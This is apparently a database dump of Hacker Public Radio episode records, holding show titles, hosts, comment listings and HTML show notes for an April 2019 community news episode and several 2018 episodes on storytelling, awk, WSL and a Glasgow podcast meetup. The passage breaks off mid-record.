(2806,'2019-05-06','HPR Community News for April 2019',6840,'HPR Volunteers talk about shows released and comments posted in April 2019','\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<small><table id=\"t01\" summary=\"Last month\'s shows\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2781\" target=\"_blank\">2781</a></strong></td>\n<td>Mon</td>\n<td>2019-04-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2781\" target=\"_blank\">HPR Community News for March 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2782\" target=\"_blank\">2782</a></strong></td>\n<td>Tue</td>\n<td>2019-04-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2782\" target=\"_blank\">Never stop gaming</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2783\" target=\"_blank\">2783</a></strong></td>\n<td>Wed</td>\n<td>2019-04-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2783\" target=\"_blank\">The Windows \"Shutdown.exe\" Command Explained</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2784\" target=\"_blank\">2784</a></strong></td>\n<td>Thu</td>\n<td>2019-04-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2784\" target=\"_blank\">The Yamaha Disklavier</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2785\" target=\"_blank\">2785</a></strong></td>\n<td>Fri</td>\n<td>2019-04-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2785\" target=\"_blank\">What is uCPE</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2786\" target=\"_blank\">2786</a></strong></td>\n<td>Mon</td>\n<td>2019-04-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2786\" target=\"_blank\">My YouTube Channels</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2787\" target=\"_blank\">2787</a></strong></td>\n<td>Tue</td>\n<td>2019-04-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2787\" target=\"_blank\">NodeJS Part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2788\" target=\"_blank\">2788</a></strong></td>\n<td>Wed</td>\n<td>2019-04-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2788\" target=\"_blank\">Looping in Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2789\" target=\"_blank\">2789</a></strong></td>\n<td>Thu</td>\n<td>2019-04-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2789\" target=\"_blank\">Pacing In Storytelling</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2790\" target=\"_blank\">2790</a></strong></td>\n<td>Fri</td>\n<td>2019-04-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2790\" target=\"_blank\">My YouTube Subscriptions #5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2791\" target=\"_blank\">2791</a></strong></td>\n<td>Mon</td>\n<td>2019-04-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2791\" target=\"_blank\">LUKS like truecrypt</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2792\" target=\"_blank\">2792</a></strong></td>\n<td>Tue</td>\n<td>2019-04-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2792\" target=\"_blank\">Playing around with text to speech synthesis on Linux</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2793\" target=\"_blank\">2793</a></strong></td>\n<td>Wed</td>\n<td>2019-04-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2793\" target=\"_blank\">bash coproc: the future (2009) is here</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2794\" target=\"_blank\">2794</a></strong></td>\n<td>Thu</td>\n<td>2019-04-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2794\" target=\"_blank\">Interview with Martin Wimpress</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick the french guy from Switzerland</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2795\" target=\"_blank\">2795</a></strong></td>\n<td>Fri</td>\n<td>2019-04-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2795\" target=\"_blank\">Dead Earth</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2796\" target=\"_blank\">2796</a></strong></td>\n<td>Mon</td>\n<td>2019-04-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2796\" target=\"_blank\">IRS,Credit Freezes and Junk Mail Ohh My!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2797\" target=\"_blank\">2797</a></strong></td>\n<td>Tue</td>\n<td>2019-04-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2797\" target=\"_blank\">Writing Web Game in Haskell - Simulation at high level</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2798\" target=\"_blank\">2798</a></strong></td>\n<td>Wed</td>\n<td>2019-04-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2798\" target=\"_blank\">Should Podcasters be Pirates ?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2799\" target=\"_blank\">2799</a></strong></td>\n<td>Thu</td>\n<td>2019-04-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2799\" target=\"_blank\">building an arduino programmer</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2800\" target=\"_blank\">2800</a></strong></td>\n<td>Fri</td>\n<td>2019-04-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2800\" target=\"_blank\">My YouTube Subscriptions #6</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2801\" target=\"_blank\">2801</a></strong></td>\n<td>Mon</td>\n<td>2019-04-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2801\" target=\"_blank\">Guitar Set Up Part 1.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n</tr>\n<tr valign=\"top\">\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2802\" target=\"_blank\">2802</a></strong></td>\n<td>Tue</td>\n<td>2019-04-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2802\" target=\"_blank\">Mid-life (?) assessment</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n</table></small>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2457#comments\" target=\"_blank\">hpr2457</a></strong>\n(2018-01-02) \"<em>Getting ready for my new Macbook Pro</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2457#1\" target=\"_blank\">Comment 1</a>:\nBart on 2019-04-25:\n\"aren\'t you forgetting a hub?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2739#comments\" target=\"_blank\">hpr2739</a></strong>\n(2019-01-31) \"<em>Bash Tips - 19</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2739#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2019-04-01:\n\"local\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2774#comments\" target=\"_blank\">hpr2774</a></strong>\n(2019-03-21) \"<em>CJDNS and Yggdrasil</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=374\" target=\"_blank\">aldenp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2774#5\" target=\"_blank\">Comment 5</a>:\nclacke on 2019-04-01:\n\"Yggdrasil pronunciation\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2779#comments\" target=\"_blank\">hpr2779</a></strong>\n(2019-03-28) \"<em>HTTP, IPFS, and torrents</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=374\" target=\"_blank\">aldenp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2779#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2019-04-01:\n\"audio quality\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 19 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2783#comments\" target=\"_blank\">hpr2783</a></strong>\n(2019-04-03) \"<em>The Windows \"Shutdown.exe\" Command Explained</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2783#1\" target=\"_blank\">Comment 1</a>:\nBubba on 2019-04-04:\n\"Shutdown.exe command\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2783#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2019-04-06:\n\"Also Useful with PsExec from Sysinternals Suite\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2784#comments\" target=\"_blank\">hpr2784</a></strong>\n(2019-04-04) \"<em>The Yamaha Disklavier</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-04-04:\n\"music to ears\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#2\" target=\"_blank\">Comment 2</a>:\nJan on 2019-04-04:\n\"Translations\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp on 2019-04-04:\n\"Ok but it wasn\'t the \"Well-Tempered Piano\"\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#4\" target=\"_blank\">Comment 4</a>:\nGavtres on 2019-04-05:\n\"So cool!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2019-04-05:\n\"What a wonderful device!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#6\" target=\"_blank\">Comment 6</a>:\nGuy on 2019-04-06:\n\"How far away are you?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#7\" target=\"_blank\">Comment 7</a>:\nJon Kulp on 2019-04-06:\n\"\"or\" not \"of\"\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#8\" target=\"_blank\">Comment 8</a>:\nWindigo on 2019-04-14:\n\"Library of Congress\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#9\" target=\"_blank\">Comment 9</a>:\nJon Kulp on 2019-04-15:\n\"A great summer job\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2784#10\" target=\"_blank\">Comment 10</a>:\nJon Kulp on 2019-04-18:\n\"Older near-perfect player pianos\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2787#comments\" target=\"_blank\">hpr2787</a></strong>\n(2019-04-09) \"<em>NodeJS Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2787#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-04-10:\n\"looking for more\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2789#comments\" target=\"_blank\">hpr2789</a></strong>\n(2019-04-11) \"<em>Pacing In Storytelling</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2789#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-04-11:\n\"what about non-fictional stories\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2793#comments\" target=\"_blank\">hpr2793</a></strong>\n(2019-04-17) \"<em>bash coproc: the future (2009) is here</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2793#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2019-04-22:\n\"I really enjoyed this!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2796#comments\" target=\"_blank\">hpr2796</a></strong>\n(2019-04-22) \"<em>IRS,Credit Freezes and Junk Mail Ohh My!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2796#1\" target=\"_blank\">Comment 1</a>:\ncogoman on 2019-04-25:\n\"Credit card security\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2798#comments\" target=\"_blank\">hpr2798</a></strong>\n(2019-04-24) \"<em>Should Podcasters be Pirates ?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2798#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-04-24:\n\"Yarrr, record me episodes\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2798#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2019-04-27:\n\"Memories of early podcasts and pirate radio\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2798#3\" target=\"_blank\">Comment 3</a>:\nDudeNamedBen on 2019-04-29:\n\"Da Podfather, Adam Curry\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"hpr-on-wikipedia\">HPR on Wikipedia</h3>\n<p>Please see the draft at <a href=\"https://en.wikipedia.org/w/index.php?title=Draft:Hacker_Public_Radio\" class=\"uri\">https://en.wikipedia.org/w/index.php?title=Draft:Hacker_Public_Radio</a></p>\n<p>If you are not already a host, then please help improve the site.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month: <b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\">Tony Hughes</a></b></p>\n<p>Over the period tags and/or summaries have been added to 36 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2522,'2018-04-03','Flashbacks In Storytelling',656,'Lostnbronx takes a breezy look at the narrative technique of the flashback.','<p>Lostnbronx looks at flashbacks, flashforwards, plays-within-plays, and dream sequences as techniques of both good and bad storytelling.</p>',107,105,0,'CC-0','storytelling,flashback,lostnbronx',0,0,1),
(2523,'2018-04-04','Run Linux on a Windows Box',809,'HP Stream book with windows 10','<p>A short show about running Debian on windows.<br />\r\nYes it really works.</p>\r\n<p>What you have do first<br />\r\n<a href=\"https://askubuntu.com/questions/966184/new-installation-of-windows-10-and-ubuntu-from-windows-store-error/966214\" class=\"uri\">https://askubuntu.com/questions/966184/new-installation-of-windows-10-and-ubuntu-from-windows-store-error/966214</a></p>\r\n<p>and here<br />\r\n<a href=\"https://www.bing.com/search?q=how+to+run+windows+powershell+as+adminstrator&amp;form=EDGTCT&amp;qs=PF&amp;cvid=75a5d473a2d140ea841cb0457e42026f&amp;refig=ba953cbaebae48c8b5d1c46080dafd1a&amp;cc=DE&amp;setlang=en-US\" class=\"uri\">https://www.bing.com/search?q=how+to+run+windows+powershell+as+adminstrator&amp;form=EDGTCT&amp;qs=PF&amp;cvid=75a5d473a2d140ea841cb0457e42026f&amp;refig=ba953cbaebae48c8b5d1c46080dafd1a&amp;cc=DE&amp;setlang=en-US</a></p>',129,0,1,'CC-BY-SA','Windows Subsystem for Linux,WSL,Debian,PowerShell',0,0,1),
(2524,'2018-04-05','General problem solver',1088,'Brief look into general problem solver system and how to use it solve simple problems','<ul>\r\n<li><p>Building Problem Solvers by Kenneth D. Forbus and Johan de Kleer: <a href=\"https://www.qrg.northwestern.edu/BPS/readme.html\" class=\"uri\">https://www.qrg.northwestern.edu/BPS/readme.html</a></p></li>\r\n<li><p>Paradigms of Artificial Intelligence Programming by Peter Norvig: <a href=\"https://github.com/norvig/paip-lisp\" class=\"uri\">https://github.com/norvig/paip-lisp</a></p></li>\r\n<li><p>Engineer\'s Journey, tuturto\'s blog: <a href=\"https://engineersjourney.wordpress.com/\" class=\"uri\">https://engineersjourney.wordpress.com/</a></p></li>\r\n<li><p>Blog entry about solving n-queens puzzle with general problem solver: <a href=\"https://engineersjourney.wordpress.com/2018/03/09/n-queens-puzzle-solved-in-hy-and-cps/\" class=\"uri\">https://engineersjourney.wordpress.com/2018/03/09/n-queens-puzzle-solved-in-hy-and-cps/</a></p></li>\r\n</ul>',364,0,0,'CC-BY-SA','lisp, artificial intelligence, problem solving',0,0,1),
(2526,'2018-04-09','Gnu Awk - Part 10',2535,'More about arrays in Gnu Awk','<h1 id=\"gnu-awk---part-10\">Gnu Awk - Part 10</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the tenth episode of the &quot;<a href=\"https://hackerpublicradio.org/series.php?id=94\" title=\"Learning Awk\">Learning Awk</a>&quot; series which is being produced by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" title=\"b-yeezi\">b-yeezi</a> and myself.</p>\r\n<p>In this episode I want to talk more about the use of arrays in GNU Awk and then I want to examine some real-world examples of the use of <code>awk</code>.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>The notes for rest of this episode are available <a href=\"https://hackerpublicradio.org/eps/hpr2526/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/html_node/index.html\"><em>GNU Awk User\'s Guide</em></a></li>\r\n<li>Previous shows in this series on HPR:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2114\">&quot;<em>Gnu Awk - Part 1</em>&quot;</a> - episode 2114</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2129\">&quot;<em>Gnu Awk - Part 2</em>&quot;</a> - episode 2129</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2143\">&quot;<em>Gnu Awk - Part 3</em>&quot;</a> - episode 2143</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2163\">&quot;<em>Gnu Awk - Part 4</em>&quot;</a> - episode 2163</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2184\">&quot;<em>Gnu Awk - Part 5</em>&quot;</a> - episode 2184</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2238\">&quot;<em>Gnu Awk - Part 6</em>&quot;</a> - episode 2238</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2330\">&quot;<em>Gnu Awk - Part 7</em>&quot;</a> - episode 2330</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2438\">&quot;<em>Gnu Awk - Part 8</em>&quot;</a> - episode 2438</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2476\">&quot;<em>Gnu Awk - Part 9</em>&quot;</a> - episode 2476</li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2526/full_shownotes.epub\">ePub version of these notes</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2526/full_shownotes.pdf\">PDF version of these notes</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2526/awk10_ex1.awk\">awk10_ex1.awk</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2526/awk10_ex2.awk\">awk10_ex2.awk</a></li>\r\n</ul></li>\r\n</ul>',225,94,1,'CC-BY-SA','Awk utility,Awk language,gawk,arrays',0,0,1),
(2527,'2018-04-10','Reviews Vs. Critiques',839,'Lostnbronx contrasts \"reviews\" with \"critiques\", which are not the same things.','<p>Lostnbronx takes a quick look at what it is that constitutes &quot;reviews&quot; of stories (be they books, films, TV shows, audio dramas, whatever) as opposed to &quot;critiques&quot; of them.</p>\r\n<p>How do these two things differ, and what are their purposes? Is one more important than the other? Why does it even matter?</p>',107,105,0,'CC-BY-SA','storytelling,review,critique,lostnbronx,film,writing,audio drama,tv',0,0,1),
(2528,'2018-04-11','CCTV with DARKNET',863,'I got over my current setup for CCTV with Darknet and YOLO','<p>Twitter: @operat0r</p>\r\n<p>DERP SHELL CODE <a href=\"https://rmccurdy.com/scripts/DARKNET\" class=\"uri\">https://rmccurdy.com/scripts/DARKNET</a></p>\r\n',36,0,1,'CC-BY-SA','CCTV,Darknet,YOLO',0,0,1),
(2531,'2018-04-16','Plot And Story',866,'Lostnbronx shares some thoughts about the nature of plot and story in storytelling.','<p>Lostnbronx talks about plot and story, as well as characters and backgrounds, in storytelling of all types. These things are closely tied together, and a problem with one can easily be a problem with all.</p>',107,105,0,'CC-0','storytelling,plot,story,character,background,lostnbronx',0,0,1),
(2529,'2018-04-12','What\'s in my podcatcher',592,'listing of podcasts I listen to ','<p>List of podcasts as read directly from my podcast player/catcher -- sorry, no official notes (I will do better next time, I promise).</p>',365,75,1,'CC-BY-SA','podcasts,feed',0,0,1),
(2532,'2018-04-17','Podcrawl Glasgow 2018',1584,'The TuxJam guys introduce and invite the HPR community to join them at Podcrawl Glasgow in July 2018','<h1 id=\"hpr-podcrawl-2018\">HPR Podcrawl 2018</h1>\r\n<p><a href=\"https://twitter.com/thelovebug\"><strong>Dave</strong></a>, <a href=\"https://twitter.com/kevie49\"><strong>Kevie</strong></a>, and <a href=\"https://twitter.com/mcnalu\"><strong>Andrew</strong></a> - hosts of <a href=\"https://tuxjam.otherside.network/\"><strong>TuxJam</strong></a> - take you via a slightly elongated route to an upcoming event.</p>\r\n<h2 id=\"the-event\">The event</h2>\r\n<p><a href=\"https://kmacphail.blogspot.co.uk/2018/02/podcrawl-glasgow-2018.html\"><strong>Podcrawl Glasgow 2018</strong></a> <strong>Saturday 28 July 2018 from 18:00</strong> <strong>starting at The State Bar, Holland Street, G2 4NG</strong></p>\r\n<h2 id=\"daves-mistake\">Dave\'s mistake</h2>\r\n<p>A minor review of the 2017 event leaves a bitter taste in the mouth of the Big Jessie.</p>\r\n<h2 id=\"who-is-the-event-for\">Who is the event for?</h2>\r\n<p>Kevie lists various groups of people who might be interested in going. Dave adds a couple more. So does Andrew. The upshot is: anyone human. Oh, and guide dogs. But probably not children after 19:00 (it\'s a Scottish pubs/licensing thing).</p>\r\n<h2 id=\"audio-from-the-event\">Audio from the event</h2>\r\n<p>Andrew suggests that we may be able to record or even stream audio from the Podcrawl. Dave apparently is an expert in such things, and tries to impress the others with science. Kevie suggests we wait towards the end of the event when it\'s quieter.</p>\r\n<h2 id=\"tactical-chunder\">Tactical chunder</h2>\r\n<p>Dave is reminded - for a second time - about his mishap. Andrew decides to go into nauseating (pardon the pun) detail.</p>\r\n<h2 id=\"how-will-you-find-us\">How will you find us?</h2>\r\n<p>Some of us will be wearing Podcrawl t-shirts, although the company that originally produced the t-shirts sadly has gone out of business.</p>\r\n<p>Andrew keeps Ken Fallon happy by suggesting that listeners record a response to this show with any suggestions about recording at live events.</p>\r\n<p>Kevie tells us where the event will be (see the top of the notes)</p>\r\n<p>We\'ll be posting through the event on Twitter/GNUsocial/Diaspora with the hashtag #PodcrawlGlasgow. Use any one of these to find out where we\'ll be at any time.</p>\r\n<p>Non-techy people are welcome. Cigars will be provided.</p>\r\n<p>If you\'re in a band, come along as well... we have plenty of opportunity for promotion of your music!</p>\r\n<p>Andrew reminds us that this is the fifth Podcrawl in Glasgow.</p>\r\n<p>Kevie says that if you\'re coming into Glasgow <strong>before</strong> 18:00, we\'d love to meet up with you beforehand. We believe that all three of us (plus Dave\'s good lady) will be there from early/mid afternoon.</p>\r\n<h2 id=\"contact-us\">Contact Us</h2>\r\n<p>You can contact all three of us at the same time via tuxjam@otherside.network - let us know you\'re coming!</p>\r\n<h3 